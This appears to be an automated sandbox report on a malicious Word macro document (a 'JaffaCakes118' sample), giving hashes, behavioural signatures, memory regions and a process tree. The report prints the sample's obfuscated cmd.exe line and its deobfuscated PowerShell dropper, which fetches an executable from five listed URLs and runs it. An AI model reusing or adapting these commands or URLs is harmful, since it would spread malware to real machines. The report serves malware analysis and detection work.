Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    19-05-2024 08:52

General

  • Target

    599113dce8c83987e7f0728ab5094c0f_JaffaCakes118.doc

  • Size

    72KB

  • MD5

    599113dce8c83987e7f0728ab5094c0f

  • SHA1

    dd68ecad930b13b9aae7fc2a1cc8d71fde698d77

  • SHA256

    3bf26b612f3b764439cc3e44e5bde176d7febce6acb7756de8f0e9b34223a28e

  • SHA512

    51a297d72d3d79b2a49f47bcbaa2353ffa2a406265c77e134b59e990eb14fab9f3bdf2b786e6fac1f2d6171b9e7c1149f8fc6437e5160e8442ef34b0ad4e20c0

  • SSDEEP

    768:npJcaUitGAlmrJpmxlzC+w99NB38+1ove9A8pw8jZlerbc2:nptJlmrJpmxlRw99NB38+ave9ANT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://grupoperfetto.com.br/k0K5MRB

exe.dropper

http://pasoprage.nl/CYcS488Bs

exe.dropper

http://stoobb.nl/Hlathh5I

exe.dropper

http://psselection.com/u2nU7nDwy5

exe.dropper

http://oooka.biz/o0tiZ3XfbW

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\599113dce8c83987e7f0728ab5094c0f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2112
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:/C"^s^et ^pWA^h= ^ ^ ^ ^ ^ ^}^}^{hc^tac}^;^kaer^b;Uq^j$ ^m^et^I-e^k^ovn^I;)Uqj$ ,iT^h$(^el^iF^d^a^oln^w^o^D.kGK${yr^t{)nR^L$^ n^i i^Th^$(^hc^a^erof^;^'^e^xe.'+^ZL^W^$+'^\'^+cilbu^p^:vn^e^$^=Uq^j^$^;'^552^' ^=^ Z^LW$;)'^@^'(ti^l^pS.'W^bf^X3Z^i^t^0o/^z^i^b.^ak^ooo//:^pt^t^h@^5y^wDn7^Un2u/moc^.n^oitc^e^le^ss^p//:p^tt^h^@^I5h^h^ta^lH/^ln^.b^b^o^o^ts//^:ptt^h^@^sB8^8^4Sc^YC/ln^.^egar^po^s^a^p//^:p^t^th^@^BR^M^5^K^0^k/rb^.moc^.^ot^t^efr^epop^urg//:^p^tt^h^'^=nRL^$;tnei^lC^beW^.teN ^tc^e^j^b^o^-^wen=kG^K^$^ l^l^ehsrew^o^p&&^f^or /^L %N ^in (^36^3^;^-^1^;^0)d^o ^se^t 4^Iw^s=!4^Iw^s!!^pWA^h:~%N,1!&&^if %N=^=^0 c^a^l^l %4^Iw^s:^~^-^3^6^4%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $KGk=new-object Net.WebClient;$LRn='http://grupoperfetto.com.br/k0K5MRB@http://pasoprage.nl/CYcS488Bs@http://stoobb.nl/Hlathh5I@http://psselection.com/u2nU7nDwy5@http://oooka.biz/o0tiZ3XfbW'.Split('@');$WLZ = '255';$jqU=$env:public+'\'+$WLZ+'.exe';foreach($hTi in $LRn){try{$KGk.DownloadFile($hTi, $jqU);Invoke-Item $jqU;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2344

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      ad905adfdfdcc997a7e04f4c110654ae

      SHA1

      2afab5ea9f0793e914135b0f5ba0c57c3a2246f3

      SHA256

      721ee9fee907f4ca63eb62d1fef4482a431bdaf631a63f61cab02f2aac52a958

      SHA512

      a899f83304ab484a422d51def4567b63326e734e9b91f7bdce7c1a1fc1b73c940d62c643a53975a2521b73de79bb1dee860b954d94812ad97fbda3dbeea12429

    • memory/2176-10-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-2-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/2176-6-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-7-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-8-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-0-0x000000002FF41000-0x000000002FF42000-memory.dmp

      Filesize

      4KB

    • memory/2176-9-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-11-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-19-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/2176-20-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2176-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2176-35-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2176-36-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB